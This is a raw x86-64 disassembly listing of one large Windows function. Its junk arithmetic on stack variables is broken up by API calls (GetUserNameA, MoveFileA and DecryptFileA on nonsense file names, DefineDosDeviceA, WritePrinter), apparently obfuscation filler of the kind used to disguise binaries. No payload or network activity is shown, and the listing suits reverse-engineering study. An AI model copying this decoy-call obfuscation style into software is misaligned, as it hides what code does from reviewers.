mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4d14], eax
lea rax, [rsp + 0x438c]
mov qword [rsp + 0xe3b0], rax
mov rax, qword [rsp + 0xa640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf80]
or eax, ecx
mov rcx, qword [rsp + 0xdaa8]
mov word [rcx], ax
mov rax, qword [rsp + 0xce38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x161]
and eax, ecx
mov byte [0x14019c032], al
lea rax, [rsp + 0x41d8]
mov qword [rsp + 0xe3b8], rax
mov rax, qword [rsp + 0xd708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4edc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b7c], eax
mov rax, qword [rsp + 0xdcc8]
mov rcx, qword [rsp + 0xbf28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb328]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f94]
mov dword [rsp + 0x52c4], eax
mov rax, qword [rsp + 0xafd0]
movzx eax, byte [rax]
mov rcx, qword [0x14019e220]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x29b], al
movzx eax, word [rsp + 0x1598]
mov word [rsp + 0x15a8], ax
movsx eax, word [rsp + 0xb70]
mov rcx, qword [rsp + 0xc050]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1538], ax
movzx eax, byte [rsp + 0x270]
mov byte [rsp + 0x30b], al
mov rax, qword [rsp + 0xbe60]
mov ecx, dword [rsp + 0x33f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019dce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49d8], eax
movzx eax, word [0x14019de20]
mov rcx, qword [rsp + 0xdaa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf2c], ax
lea rax, [rsp + 0x170]
mov qword [rsp + 0xe3c0], rax
mov eax, dword [rsp + 0x5074]
mov ecx, dword [rsp + 0x5254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4878], eax
lea rax, [rsp + 0x4718]
mov qword [rsp + 0xe3c8], rax
mov rax, qword [rsp + 0xaec0]
mov ecx, dword [rsp + 0x4b44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46d4], eax
mov eax, dword [rsp + 0x4efc]
mov ecx, dword [rsp + 0x430c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4338], eax
lea rax, [0x14019d7b7]
mov qword [rsp + 0xe3d0], rax
lea rax, [rsp + 0xae4]
mov qword [0x14019e260], rax
mov rax, qword [rsp + 0xbd08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdf60]
mov qword [rsp + 0xe3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c7c], eax
lea rax, [rsp + 0x4f04]
mov qword [rsp + 0xe3e0], rax
mov rax, qword [0x14019e210]
mov ecx, dword [rsp + 0x4548]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x41c8], eax
mov eax, dword [rsp + 0x4270]
mov rcx, qword [rsp + 0xde60]
mov qword [rsp + 0xe3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3e8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd9e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd430]
mov eax, dword [rax]
mov dword [rsp + 0x52c8], eax
lea rdx, [rsp + 0xa340]
mov rcx, qword [rsp + 0xa340]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x40f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4128], eax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
and eax, ecx
mov word [rsp + 0xea0], ax
jmp 0x1401742b2
lea rax, [rsp + 0xa540]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa228]
mov r8d, 0x99
mov rdx, qword [rsp + 0xa4e0]
mov rcx, qword [rsp + 0xa480]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov dword [rsp + 0x403c], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0xa4f8]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0xa488]
movzx r8d, byte [rax]
mov rax, qword [0x14019d798]
movzx edx, byte [rax]
mov rax, qword [0x14019d798]
movzx ecx, byte [rax]
call fcn.1401757d0
nop
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [0x14019beec]
movsx edx, word [rsp + 0xeac]
add ecx, edx
cmp eax, ecx
jle 0x140174306
mov eax, dword [rsp + 0x4128]
mov ecx, dword [rsp + 0x4070]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa548]
movzx ecx, word [rax]
call fcn.1401751a0
nop
jmp 0x1401743a4
lea rdx, str.C:_troublemaker_skilfullyloavesRelax
lea rcx, str.C:Falsification_sueCarvers
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [rsp + 0xa1a4], eax
mov rax, qword [rsp + 0xa508]
mov rcx, qword [rsp + 0xa4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa4d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa368]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xa3b8]
mov edx, dword [rax]
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rax]
call fcn.140176420
nop
movzx eax, byte [0x14019d794]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14f], al
mov eax, dword [rsp + 0x3fc0]
mov dword [rsp + 0xa30c], eax
cmp dword [rsp + 0xa30c], 0x16658870
je 0x1401743dc
jmp 0x1401743de
jmp 0x1401743fa
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa508]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov dword [rsp + 0xa310], eax
cmp dword [rsp + 0xa310], 0x1276
je 0x140174455
jmp 0x1401744df
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
sar eax, cl
movzx ecx, byte [rsp + 0x151]
movzx edx, byte [rsp + 0x14f]
sub ecx, edx
cmp eax, ecx
jge 0x1401744dd
mov eax, dword [rsp + 0x3fac]
mov ecx, dword [rsp + 0x4018]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4080]
mov ecx, dword [rsp + 0x4088]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa358]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xa4a0]
mov edx, dword [rax]
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rax]
call fcn.140176420
nop
jmp 0x14017450b
lea r9, [rsp + 0xa4a0]
lea r8, [rsp + 0xa358]
lea rdx, [rsp + 0x4070]
lea rcx, str.C:mispositioneddoleRolled
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov dword [rsp + 0x3fcc], eax
jmp 0x140174575
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14e]
xor eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
lea rdx, [rsp + 0xa4c0]
mov rcx, qword [rsp + 0xa518]
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0x1f658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1f658]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019d790], eax
movzx eax, byte [0x14019d794]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
mov edx, 0xe1
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [rsp + 0x40a8], eax
mov rax, qword [rsp + 0xa4d8]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4018], eax
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x4088]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x40e4]
mov edx, dword [rsp + 0x3fc0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140174680
movzx eax, word [rsp + 0xea4]
mov dword [rsp + 0xa314], eax
cmp dword [rsp + 0xa314], 0x5a4
je 0x140174666
cmp dword [rsp + 0xa314], 0xb93
je 0x14017461d
jmp 0x140174680
mov rax, qword [rsp + 0xa428]
mov ecx, dword [rsp + 0x40f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
movzx r9d, word [rsp + 0xb08]
mov rax, qword [rsp + 0xa380]
movzx r8d, word [rax]
movzx edx, word [rsp + 0xea4]
mov ecx, dword [rsp + 0x3fdc]
call fcn.1401769a0
nop
jmp 0x140174680
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xb08]
or eax, ecx
mov word [rsp + 0xea8], ax
jmp 0x1401746c1
mov rcx, qword [rsp + 0xa480]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x411c], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xb08]
sub eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0xa4d0]
movzx ecx, word [rax]
call fcn.1401751a0
nop
movzx eax, byte [0x14019d794]
mov byte [rsp + 0xa318], al
cmp byte [rsp + 0xa318], 0x14
je 0x1401746e8
cmp byte [rsp + 0xa318], 0x37
je 0x14017472f
jmp 0x14017476a
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movzx eax, byte [rsp + 0x151]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x151]
mov rax, qword [rsp + 0xa488]
movzx r8d, byte [rax]
mov rax, qword [0x14019d798]
movzx edx, byte [rax]
mov rax, qword [0x14019d798]
movzx ecx, byte [rax]
call fcn.1401757d0
nop
jmp 0x14017477a
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [rsp + 0xa31c], eax
cmp dword [rsp + 0xa31c], 0x22988d11
je 0x1401747ae
cmp dword [rsp + 0xa31c], 0x3ea737c5
je 0x140174856
jmp 0x140174876
movsx eax, byte [rsp + 0x14b]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x14c]
movsx edx, byte [rsp + 0x14a]
sub ecx, edx
cmp eax, ecx
je 0x14017482c
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d790], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [rsp + 0x14e], al
mov edx, 0xb7
mov rcx, qword [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0xa320], eax
mov eax, dword [rsp + 0xa320]
mov dword [rsp + 0x40a4], eax
jmp 0x140174876
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xa4e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dword [rsp + 0x3fa0], eax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
jmp 0x140174946
mov edx, 0x67
mov rcx, qword [rsp + 0xa4e0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x3f8c], eax
mov rax, qword [rsp + 0xa3a8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xa3c0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
call fcn.140176420
nop
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa358]
mov rdx, qword [rsp + 0xa3a8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x140174978
jmp 0x140174995
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fdc], eax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x20], rax
mov r9d, 0x32
lea r8, [rsp + 0x407c]
mov edx, 0x6b
mov ecx, 0xdb
call qword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov dword [rsp + 0x3fa0], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
jmp 0x140174a3e
mov rax, qword [rsp + 0xa360]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0xa324], al
cmp byte [rsp + 0xa324], 0x4d
je 0x140174a66
cmp byte [rsp + 0xa324], 0x6e
je 0x140174ae0
jmp 0x140174b03
mov eax, dword [rsp + 0x4058]
mov rcx, qword [rsp + 0xa358]
mov qword [rsp + 0x1f660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1f660]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x4018]
movzx ecx, al
mov eax, dword [rsp + 0x4058]
shr eax, cl
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x4058], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea8]
and eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
jmp 0x140174b03
mov rcx, qword [rsp + 0xa560]
call qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov dword [rsp + 0xa328], eax
mov eax, dword [rsp + 0xa328]
mov dword [rsp + 0xa2f0], eax
jmp 0x140174bbf
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov dword [rsp + 0xa32c], eax
cmp dword [rsp + 0xa32c], 0x1e449bc6
je 0x140174b2a
jmp 0x140174b3a
mov r9b, 0x39
mov r8b, 0xcf
mov dl, 0x5f
mov cl, 0xc1
call fcn.140175c10
nop
lea rcx, [rsp + 0xa350]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14d]
movsx ecx, byte [rsp + 0x14c]
xor eax, ecx
mov byte [rsp + 0x14a], al
mov dword [rsp + 0x28], 0x34
lea rax, [rsp + 0x1f678]
mov qword [rsp + 0x20], rax
lea r9, str.Modulation_resolving
lea r8, [rsp + 0xa3c0]
mov edx, 0x2e
mov ecx, 0x24
call qword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov dword [rsp + 0x4000], eax
movzx eax, byte [rsp + 0x14b]
mov byte [rsp + 0xa330], al
cmp byte [rsp + 0xa330], 0x1d
je 0x140174c9d
cmp byte [rsp + 0xa330], 0x6f
je 0x140174beb
jmp 0x140174ccd
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x3fdc]
mov edx, dword [rsp + 0x3f98]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140174c51
mov r8d, dword [rsp + 0x3fac]
mov edx, dword [rsp + 0x3fdc]
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rax]
call fcn.140176420
nop
jmp 0x140174c9b
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
and eax, ecx
movsx ecx, word [rsp + 0xeac]
movsx edx, word [rsp + 0xc48]
add ecx, edx
cmp eax, ecx
jne 0x140174c9b
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
jmp 0x140174ccd
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa358]
mov qword [rsp + 0x1f668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1f668]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3ffc], eax
jmp 0x140174d00
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov ecx, 0x9d
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [rsp + 0x3f98], eax
movsx eax, word [rsp + 0xd48]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
xor eax, ecx
movsx ecx, word [rsp + 0xeac]
mov dword [rsp + 0xa334], ecx
movsx edx, word [rsp + 0xc48]
movzx ecx, dl
mov edx, dword [rsp + 0xa334]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140174d98
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
jmp 0x140174dee
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
lea rdx, [rsp + 0x14c]
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3fa0], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc48]
mov dword [rsp + 0xa338], eax
cmp dword [rsp + 0xa338], 0x4a77
je 0x140174e2e
jmp 0x140174eb3
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea0], ax
lea r9, [rsp + 0x1f6a0]
mov r8d, 0x68
lea rdx, [rsp + 0x3fc0]
mov rcx, qword [rsp + 0xa348]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
jmp 0x140174ed0
lea rdx, [rsp + 0xa350]
mov rcx, qword [rsp + 0xa390]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [rsp + 0x407c], eax
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xea0]
movzx edx, word [rsp + 0xea8]
add ecx, edx
cmp eax, ecx
je 0x140174f23
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x3fac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
nop
jmp 0x140174faf
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14c]
sub eax, ecx
movsx ecx, byte [rsp + 0x14a]
mov dword [rsp + 0xa33c], ecx
movsx edx, byte [0x140199008]
movzx ecx, dl
mov edx, dword [rsp + 0xa33c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140174faf
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0x1f670], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1f670]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa3a8]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x3fdc]
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rax]
call fcn.140176420
nop
jmp 0x14017502b
mov r8d, 0xe0
lea rdx, [rsp + 0x1f6a0]
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeA]
mov dword [rsp + 0x3f8c], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
and eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3fac], eax
mov edx, 0xe5
mov rcx, qword [rsp + 0xa4e0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov byte [0x140199008], al
jmp 0x140175157
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa368]
cmp eax, dword [rcx]
jbe 0x140175157
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
sub eax, ecx
cmp eax, dword [rsp + 0x3f98]
jge 0x14017511d
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea0], ax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
lea r8, str.forgo_flights
lea rdx, str.monogamous_presences
mov ecx, 0xd8
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
mov dword [rsp + 0x3f8c], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3f98]
jne 0x140175157
mov r8d, dword [rsp + 0x3fac]
mov edx, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3f98]
call fcn.140176420
nop
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa350]
movzx ecx, word [rax]
call fcn.1401751a0
mov eax, dword [rsp + 0x73d8]
add rsp, 0x1ff38
pop rdi
pop rsi
ret